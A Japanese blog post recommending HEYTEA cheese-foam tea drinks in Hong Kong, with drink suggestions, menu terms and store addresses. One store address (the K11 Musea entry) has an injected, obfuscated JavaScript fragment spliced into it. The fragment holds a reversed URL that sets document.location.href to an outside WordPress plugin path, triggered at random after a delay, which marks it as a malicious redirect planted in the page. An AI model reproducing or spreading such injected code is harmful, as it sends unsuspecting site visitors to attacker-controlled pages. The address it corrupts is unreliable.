日本ではまだまだタピオカブームですが、香港ではタピオカよりもチーズドリングが大人気です。
「チーズドリンクって何?」という人やタピオカドリンクにハマっている人には是非飲んでもらいたいお勧めのドリンクです。
今回は中国で大流行し香港にも進出してきたHEYTEAをご紹介します。
香港のタピオカドリンクはこちら。
https://www.bigomagazine.com/hk-bubbleteatst/
https://www.bigomagazine.com/hk-bubbletea/
HEYTEA(喜茶)とは
2012年に中国華南でオープンしたお店です。(はじめは名前が違うが商標の問題で名前変更)
今では中国全土にオープンしており今も大人気のお店です。
店舗がたくさんある中国シンセンですら平日でも注文から受け取るまで30分以上かかる場合があります。(週末午後は1時間待ったことあります)
人気の秘訣
このお店の特徴といえば、ドリンクの上にのっているチーズのフォーム状のクリーム。
昔から台湾のタピオカドリンク貢茶などでもチーズドリンクはたくさんあったのですが、HEYTEAのチーズは他と少し異なります。
貢茶など今までのチーズは強めの塩気と甘みのあるクリームでしたが、HEYTEAはチーズは塩気を感じさせないふんわりチーズ風なクリームでふわふわのフォームでついつい一気飲みしたくなるほどくせがなくとても美味しいです。(説明がしづらい)
お勧めドリンク
- フルーツティー+チーズの組み合わせ
- お茶+チーズの組み合わせ
- フルーツティー
1.フルーツティー+チーズの組み合わせ
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写真映えするのは圧倒的にこの組み合わせです。
苺やマンゴー、桃などいくつか飲んでみましたが確かに美味しいです。
しかしちょっと甘めで途中で飽きてしまいました。(特に苺)
2.お茶+チーズの組み合わせ
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私の一押しはお茶とチーズの組み合わせ。
お茶にチーズなんて気持ち悪いと思うかもしれませんが騙されたと思って試してみてください。これがなかなかいけるんです。
お勧めは「Golden Jade」。
漢字にすると「金玉」になってしまいますが覚えやすくていいですよね。
3.チーズなしのフルーツティー
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HEYTEAといえばチーズのクリームが有名ですが、実はクリームなしのフルーツティーもかなり美味しいです。
果実がたっぷり入っていてつぶつぶ感も味わえるフレッシュさが満点です。
オレンジの「満杯橙橙(Orange Boom)」が特に好きです。
ドリンクの見方
香港では英語と漢字の記載があります。(中国内では英語記載なし)
チーズドリンクが飲みたい方は芝芝(チーズ)が書いているものを選びましょう。
フルーツ+チーズは「Cheezo Fruit Tea(芝芝水果茶)」、お茶+チーズは「Cheezo Tea(芝芝茗茶)」です。
お勧め店舗
HEYTEAは現在香港では8店舗もあります。
◆お店の詳細
- 銅鑼灣軒尼詩道500號希慎廣場3樓330-331及326號舖
- 銅鑼灣勿地臣街1號時代廣場B2層B216號鋪
- 尖沙咀河內道18號K11購物藝術館B1樓B104號舖
- 尖沙咀梳士巴利道18號Victoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toria Dockside K11 Musea 3樓327A
- 尖沙咀廣東道28號新太陽廣場UG樓
- 沙田正街18號新城市廣場1期4樓408號舖
- 荃灣楊屋道1號荃新天地1期UG樓78號舖
- 元朗元龍街9號形點1期1樓1091號舖
観光地に便利なのは尖沙咀には3店舗、銅鑼湾にも2店舗ありますが、ぜひHEYTEAに行くなら尖沙咀のK11 MUSEAに行って下さい。
感動する美しさです。
新しくできたK11 MUSEAに行ってきました。
ここの建物も驚いたけど中に入っている喜茶HEYTEAからの景色が最高すぎました。#香港旅行#香港#尖沙咀 pic.twitter.com/Bh3N2lqroy— AYA (@ayanohk) September 11, 2019
HEYTEA以外のチーズドリンク
貢茶やShare Teaなどでもチーズドリンクは販売されていますが、HEYTEA以外ならShareTeaがお勧めです。
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ShareTeaの烏龍茶チーズドリンクの砂糖30%が美味しいです。
まとめ
チーズティーはあまり日本には馴染みがないと思いますが、チーズ風味なのでぜひ試してみてください。
個人的にはタピオカドリンクよりもチーズドリンクのほうが断然すきです。
これ日本に進出したら確実に流行ると思います。
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